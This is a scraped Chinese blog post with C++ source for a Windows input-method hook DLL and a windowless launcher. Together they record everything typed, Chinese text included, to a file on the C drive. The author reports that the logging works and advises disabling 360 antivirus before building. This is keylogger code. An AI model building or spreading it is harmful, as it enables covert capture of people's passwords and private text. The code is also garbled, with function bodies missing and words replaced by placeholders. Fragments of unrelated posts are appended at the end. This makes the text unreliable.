輸入法鉤子

2021-06-17 14:50:23 字數 2245 閱讀 9190

分為1個dll工程和1個win32空工程。

新建乙個dll空工程,字符集使用多位元組字符集。以下是源**:

shurufa.h:

#ifndef shurufa_h

#define shurufa_h

#include #include #include #include #pragma comment(lib,"imm32.lib")

extern "c" void writefile(char *lpstr);

extern "c" void writtitle();

extern "c" __declspec(dllexport) bool installhook();

extern "c" __declspec(dllexport) bool unhook();

#endif

shurufa.cpp:

#include "shurufa.h"

#define file_path "c:\\shurufa.txt"

hhook g_hhook = null; //hook控制代碼

hinstance g_hhinstance = null; //程式控制程式碼

hwnd lastfocuswnd = 0;//上一次控制代碼,必須使全域性的

hwnd focuswnd; //當前視窗控制代碼,必須使全域性的

char title[256]; //獲得視窗名字

char *ftemp; //begin/end 寫到檔案裡面

char t[2]=; //捕獲單個字母

void writefile(char *lpstr)

/*void writtitle()}*/

lresult callback messageproc(int ncode,wparam wparam,lparam lparam)

}break;

case wm_char: //截獲發向焦點視窗的鍵盤訊息

if (ch>=8 && ch<=31) //控制字元

if (strcmp(str,"n"))}}

break;}}

lresult lresult = callnexthookex(g_hhook, ncode, wparam, lparam);

return(lresult);

}//hook_api bool installhook()

bool installhook()

//hook_api bool unhook()

bool unhook()

bool apientry dllmain( handle hmodule,

dword ul_reason_for_call,

lpvoid lpreserved

)return true;

}

shurufa.cpp的源**,主要來自微軟專家的部落格:

vc++擷取輸入法輸入資訊鉤子dll實現,我稍微進行了一下修改,因為不修改的話,是會報錯的,不知道為什麼。

再新建乙個win32的空工程,來呼叫shurufa.dll:

#include "..\shurufa\shurufa.h"

//win 函式入口

int winapi winmain(hinstance hinstance, hinstance hprevinstance,

lpstr lpszcmdline, int ncmdshow)

else

}else

if (error)

while (getmessage(&msg,0,0,0))

return msg.wparam;

}

生成的shurufa.dll和shurufa_main.exe放在同乙個目錄,然後雙擊shurufa_main.exe使之執行,不過不會有視窗,但是用任務管理器是可以看到的。

開啟記事本,輸入漢字,然後c盤根目錄會產生shurufa.txt。

測試結果還蠻好的,漢字、英文、數字、特殊字元等,都可以記錄下來。

注意事項:

在生成dll和exe的時候,要把360等安全軟體關了,而不是簡單地暫時停止保護多長時間。

VC 擷取輸入法輸入資訊鉤子dll實現

我們在實現輸入法的智慧型糾正的時候,需要獲取輸入法輸入的資訊,如何實現呢,鉤子如下 cpp include windows.h include imm.h include stdio.h define hook api declspec dllexport hhook g hhook null ho...

輸入法控制

unit u ime inte ce implementation uses windows,forms,imm,sysutils,messages varstmpclassname,stmpime string 失去焦點時的控制項名稱和輸入法名稱 msghandle hhook 0 判斷當前類名是...

輸入法設定

scim 1.兩個scim圖示 使用 superuser產生乙個,可在設定裡將他從工作列隱藏 2.無法在eva中使用 sudo apt get install scim qtimm fcitx 1.安裝 設定預設 sudo apt get install fcitx sudo apt get ins...